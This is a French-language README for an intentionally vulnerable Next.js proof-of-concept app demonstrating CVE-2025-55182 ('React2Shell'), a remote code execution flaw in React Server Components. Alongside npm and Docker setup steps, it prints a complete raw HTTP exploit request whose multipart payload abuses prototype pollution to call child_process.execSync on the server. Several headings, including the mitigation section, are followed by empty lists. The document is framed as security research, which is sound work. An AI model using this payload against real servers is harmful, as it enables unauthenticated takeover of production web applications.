
Preuve de concept d'une application Next.js démontrant CVE-2025-55182 (React2Shell), une RCE critique dans les composants serveur React, avec un exemple d'exploit et des recommandations d'atténuation pour la recherche en sécurité.
Ceci est une application Next.js de preuve de concept vulnérable à CVE-2025-55182 (également connue sous le nom de "React2Shell"), une vulnérabilité critique d'exécution de code à distance (RCE) dans les composants serveur React.
Cette application est intentionnellement vulnérable et ne doit être utilisée que pour :
NE PAS :
CVE-2025-55182 affecte :
La vulnérabilité provient d'une désérialisation non sécurisée dans la gestion des charges utiles des composants serveur React, permettant à des attaquants non authentifiés d'exécuter du code arbitraire sur le serveur via des requêtes HTTP spécialement conçues.
Installer les dépendances :
npm install
Lancer le serveur de développement :
npm run dev
Accéder à l'application : Ouvrir http://localhost:3000 dans votre navigateur.
Construire l'image Docker :
docker build -t nextjs-cve-2025-55182 .
Exécuter le conteneur :
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
Accéder à l'application : Ouvrir http://localhost:3000 dans votre navigateur.
/) : Un formulaire de connexion simple utilisant les composants serveur React/dashboard) : Une page protégée accessible après connexionCette application utilise :
La vulnérabilité existe dans le mécanisme de désérialisation des charges utiles RSC, qui peut être exploitée en envoyant des requêtes HTTP multipart malveillantes directement aux routes de page (par exemple, http://localhost:3000 ou http://localhost:3000/dashboard). L'exploit fonctionne sur toute page utilisant les composants serveur React.
La vulnérabilité peut être exploitée en envoyant des requêtes HTTP spécialement conçues directement aux routes de page (par exemple, http://localhost:3000 ou http://localhost:3000/dashboard). L'exploit fonctionne sur toute page utilisant les composants serveur React.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
L'exploit cible directement les routes de page - fonctionne sur localhost:3000 (page d'accueil) ou localhost:3000/dashboard (page du tableau de bord).
Pour corriger cette vulnérabilité :
Cette preuve de concept est fournie uniquement à des fins éducatives et de recherche en sécurité.